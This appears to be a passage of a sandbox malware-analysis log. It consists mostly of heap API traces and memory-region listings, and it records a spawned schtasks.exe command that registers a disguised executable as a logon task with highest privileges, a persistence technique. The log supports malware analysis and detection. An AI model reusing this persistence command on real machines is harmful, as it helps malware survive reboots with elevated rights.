RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75b10) returned 0x20 [0072.952] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75b10 | out: hHeap=0x60000) returned 1 [0072.952] GetProcessHeap () returned 0x60000 [0072.953] GetProcessHeap () returned 0x60000 [0072.953] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd00) returned 1 [0072.953] GetProcessHeap () returned 0x60000 [0072.953] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd00) returned 0x20 [0072.953] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd00 | out: hHeap=0x60000) returned 1 [0072.953] GetProcessHeap () returned 0x60000 [0072.953] GetProcessHeap () returned 0x60000 [0072.953] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d7e0) returned 1 [0072.953] GetProcessHeap () returned 0x60000 [0072.953] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d7e0) returned 0xe [0072.953] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d7e0 | out: hHeap=0x60000) returned 1 [0072.953] GetProcessHeap () returned 0x60000 [0072.954] GetProcessHeap () returned 0x60000 [0072.954] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd30) returned 1 [0072.954] GetProcessHeap () returned 0x60000 [0072.954] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd30) returned 0x20 [0072.954] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd30 | out: hHeap=0x60000) returned 1 [0072.954] GetProcessHeap () returned 0x60000 [0072.954] GetProcessHeap () returned 0x60000 [0072.955] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x77c10) returned 1 [0072.955] GetProcessHeap () returned 0x60000 [0072.955] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x77c10) returned 0x30 [0072.955] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x77c10 | out: hHeap=0x60000) returned 1 [0072.955] GetProcessHeap () returned 0x60000 [0072.955] GetProcessHeap () returned 0x60000 [0072.955] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd60) returned 1 [0072.955] GetProcessHeap () returned 0x60000 [0072.955] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd60) returned 0x20 [0072.956] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd60 | out: hHeap=0x60000) returned 1 [0072.956] GetProcessHeap () returned 0x60000 [0072.956] GetProcessHeap () returned 0x60000 [0072.956] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x77c50) returned 1 [0072.956] GetProcessHeap () returned 0x60000 [0072.956] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x77c50) returned 0x30 [0072.957] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x77c50 | out: hHeap=0x60000) returned 1 [0072.957] GetProcessHeap () returned 0x60000 [0072.957] GetProcessHeap () returned 0x60000 [0072.957] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cee0) returned 1 [0072.957] GetProcessHeap () returned 0x60000 [0072.957] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cee0) returned 0x20 [0072.957] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cee0 | out: hHeap=0x60000) returned 1 [0072.957] GetProcessHeap () returned 0x60000 [0072.957] GetProcessHeap () returned 0x60000 [0072.957] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d700) returned 1 [0072.957] GetProcessHeap () returned 0x60000 [0072.957] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d700) returned 0xe [0072.957] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d700 | out: hHeap=0x60000) returned 1 [0072.957] GetProcessHeap () returned 0x60000 [0072.958] GetProcessHeap () returned 0x60000 [0072.958] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ceb0) returned 1 [0072.958] GetProcessHeap () returned 0x60000 [0072.958] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ceb0) returned 0x20 [0072.958] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ceb0 | out: hHeap=0x60000) returned 1 [0072.958] GetProcessHeap () returned 0x60000 [0072.958] GetProcessHeap () returned 0x60000 [0072.958] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d720) returned 1 [0072.958] GetProcessHeap () returned 0x60000 [0072.958] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d720) returned 0x16 [0072.958] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d720 | out: hHeap=0x60000) returned 1 [0072.958] GetProcessHeap () returned 0x60000 [0072.958] GetProcessHeap () returned 0x60000 [0072.958] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce80) returned 1 [0072.958] GetProcessHeap () returned 0x60000 [0072.958] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce80) returned 0x20 [0072.959] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce80 | out: hHeap=0x60000) returned 1 [0072.959] GetProcessHeap () returned 0x60000 [0072.959] GetProcessHeap () returned 0x60000 [0072.959] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d740) returned 1 [0072.959] GetProcessHeap () returned 0x60000 [0072.959] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d740) returned 0x16 [0072.959] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d740 | out: hHeap=0x60000) returned 1 [0072.959] GetProcessHeap () returned 0x60000 [0072.959] GetProcessHeap () returned 0x60000 [0072.959] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce50) returned 1 [0072.959] GetProcessHeap () returned 0x60000 [0072.959] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce50) returned 0x20 [0072.960] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce50 | out: hHeap=0x60000) returned 1 [0072.960] GetProcessHeap () returned 0x60000 [0072.960] GetProcessHeap () returned 0x60000 [0072.960] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x99d90) returned 1 [0072.960] GetProcessHeap () returned 0x60000 [0072.960] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x99d90) returned 0x82 [0072.960] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x99d90 | out: hHeap=0x60000) returned 1 [0072.960] GetProcessHeap () returned 0x60000 [0072.960] GetProcessHeap () returned 0x60000 [0072.960] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce20) returned 1 [0072.961] GetProcessHeap () returned 0x60000 [0072.961] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce20) returned 0x20 [0072.961] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce20 | out: hHeap=0x60000) returned 1 [0072.961] GetProcessHeap () returned 0x60000 [0072.961] GetProcessHeap () returned 0x60000 [0072.961] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d780) returned 1 [0072.961] GetProcessHeap () returned 0x60000 [0072.961] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d780) returned 0xe [0072.961] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d780 | out: hHeap=0x60000) returned 1 [0072.962] GetProcessHeap () returned 0x60000 [0072.962] GetProcessHeap () returned 0x60000 [0072.962] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdf0) returned 1 [0072.962] GetProcessHeap () returned 0x60000 [0072.962] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cdf0) returned 0x20 [0072.962] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdf0 | out: hHeap=0x60000) returned 1 [0072.962] GetProcessHeap () returned 0x60000 [0072.962] GetProcessHeap () returned 0x60000 [0072.963] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d7a0) returned 1 [0072.963] GetProcessHeap () returned 0x60000 [0072.963] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d7a0) returned 0xa [0072.963] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d7a0 | out: hHeap=0x60000) returned 1 [0072.963] GetProcessHeap () returned 0x60000 [0072.963] GetProcessHeap () returned 0x60000 [0072.963] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdc0) returned 1 [0072.963] GetProcessHeap () returned 0x60000 [0072.963] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cdc0) returned 0x20 [0072.964] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdc0 | out: hHeap=0x60000) returned 1 [0072.964] GetProcessHeap () returned 0x60000 [0072.964] GetProcessHeap () returned 0x60000 [0072.964] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d7c0) returned 1 [0072.964] GetProcessHeap () returned 0x60000 [0072.964] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d7c0) returned 0xc [0072.964] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d7c0 | out: hHeap=0x60000) returned 1 [0072.964] GetProcessHeap () returned 0x60000 [0072.964] GetProcessHeap () returned 0x60000 [0072.964] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd90) returned 1 [0072.964] GetProcessHeap () returned 0x60000 [0072.964] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd90) returned 0x20 [0072.965] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd90 | out: hHeap=0x60000) returned 1 [0072.965] GetProcessHeap () returned 0x60000 [0072.965] GetProcessHeap () returned 0x60000 [0072.965] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb90) returned 1 [0072.965] GetProcessHeap () returned 0x60000 [0072.965] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bb90) returned 0x18 [0072.965] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb90 | out: hHeap=0x60000) returned 1 [0072.965] GetProcessHeap () returned 0x60000 [0072.966] GetProcessHeap () returned 0x60000 [0072.966] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75b40) returned 1 [0072.966] GetProcessHeap () returned 0x60000 [0072.966] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75b40) returned 0x20 [0072.966] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75b40 | out: hHeap=0x60000) returned 1 [0072.966] GetProcessHeap () returned 0x60000 [0072.966] GetProcessHeap () returned 0x60000 [0072.966] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75b70) returned 1 [0072.967] GetProcessHeap () returned 0x60000 [0072.967] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75b70) returned 0x20 [0072.967] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75b70 | out: hHeap=0x60000) returned 1 [0072.967] GetProcessHeap () returned 0x60000 [0072.967] GetProcessHeap () returned 0x60000 [0072.967] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75ba0) returned 1 [0072.967] GetProcessHeap () returned 0x60000 [0072.967] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75ba0) returned 0x20 [0072.968] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75ba0 | out: hHeap=0x60000) returned 1 [0072.968] GetProcessHeap () returned 0x60000 [0072.968] GetProcessHeap () returned 0x60000 [0072.968] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75bd0) returned 1 [0072.968] GetProcessHeap () returned 0x60000 [0072.968] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75bd0) returned 0x20 [0072.969] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75bd0 | out: hHeap=0x60000) returned 1 [0072.969] GetProcessHeap () returned 0x60000 [0072.969] GetProcessHeap () returned 0x60000 [0072.969] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbb0) returned 1 [0073.051] GetProcessHeap () returned 0x60000 [0073.051] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bbb0) returned 0x18 [0073.051] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbb0 | out: hHeap=0x60000) returned 1 [0073.051] GetProcessHeap () returned 0x60000 [0073.051] GetProcessHeap () returned 0x60000 [0073.051] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75c00) returned 1 [0073.051] GetProcessHeap () returned 0x60000 [0073.051] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75c00) returned 0x20 [0073.052] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75c00 | out: hHeap=0x60000) returned 1 [0073.052] GetProcessHeap () returned 0x60000 [0073.052] GetProcessHeap () returned 0x60000 [0073.052] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75c90) returned 1 [0073.052] GetProcessHeap () returned 0x60000 [0073.052] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75c90) returned 0x20 [0073.053] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75c90 | out: hHeap=0x60000) returned 1 [0073.053] GetProcessHeap () returned 0x60000 [0073.053] GetProcessHeap () returned 0x60000 [0073.053] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75cf0) returned 1 [0073.053] GetProcessHeap () returned 0x60000 [0073.053] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75cf0) returned 0x20 [0073.053] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75cf0 | out: hHeap=0x60000) returned 1 [0073.053] GetProcessHeap () returned 0x60000 [0073.053] GetProcessHeap () returned 0x60000 [0073.053] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75d50) returned 1 [0073.053] GetProcessHeap () returned 0x60000 [0073.053] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75d50) returned 0x20 [0073.054] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75d50 | out: hHeap=0x60000) returned 1 [0073.054] GetProcessHeap () returned 0x60000 [0073.054] GetProcessHeap () returned 0x60000 [0073.054] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75d80) returned 1 [0073.054] GetProcessHeap () returned 0x60000 [0073.054] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75d80) returned 0x20 [0073.054] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75d80 | out: hHeap=0x60000) returned 1 [0073.055] GetProcessHeap () returned 0x60000 [0073.055] GetProcessHeap () returned 0x60000 [0073.055] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbd0) returned 1 [0073.055] GetProcessHeap () returned 0x60000 [0073.055] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bbd0) returned 0x18 [0073.055] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbd0 | out: hHeap=0x60000) returned 1 [0073.055] GetProcessHeap () returned 0x60000 [0073.055] GetProcessHeap () returned 0x60000 [0073.055] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75cc0) returned 1 [0073.055] GetProcessHeap () returned 0x60000 [0073.055] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75cc0) returned 0x20 [0073.055] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75cc0 | out: hHeap=0x60000) returned 1 [0073.055] GetProcessHeap () returned 0x60000 [0073.055] GetProcessHeap () returned 0x60000 [0073.055] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb50) returned 1 [0073.056] GetProcessHeap () returned 0x60000 [0073.056] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bb50) returned 0x18 [0073.056] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb50 | out: hHeap=0x60000) returned 1 [0073.056] exit (_Code=0) Thread: id = 146 os_tid = 0xff0 Process: id = "32" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3d160000" os_pid = "0xff4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"countryyou\" /sc ONLOGON /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3081 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3082 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3083 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3084 start_va = 0x120000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3085 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3086 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3087 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3088 start_va = 0xff9d0000 end_va = 0xffa17fff monitored = 1 entry_point = 0xff9f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3089 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3090 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3091 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3092 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3093 start_va = 0x1a0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3094 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3095 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3096 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3097 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3098 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3099 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3100 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3101 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3102 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3103 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3104 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3105 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3106 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3107 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3108 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3109 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3110 start_va = 0x3d0000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3111 start_va = 0x1a0000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3112 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 3113 start_va = 0x3d0000 end_va = 0x557fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 3114 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 3115 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3116 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3117 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3118 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3119 start_va = 0x580000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 3120 start_va = 0x710000 end_va = 0x1b0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 3121 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3122 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3123 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3124 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3125 start_va = 0x1b10000 end_va = 0x1ddefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3126 start_va = 0x1de0000 end_va = 0x1e5cfff monitored = 0 entry_point = 0x1decec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3127 start_va = 0x1de0000 end_va = 0x1e5cfff monitored = 0 entry_point = 0x1decec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3128 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3129 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3130 start_va = 0x1de0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 3131 start_va = 0x1de0000 end_va = 0x1ebefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001de0000" filename = "" Region: id = 3132 start_va = 0x1fb0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 3133 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3134 start_va = 0x2080000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 3135 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3136 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3137 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3138 start_va = 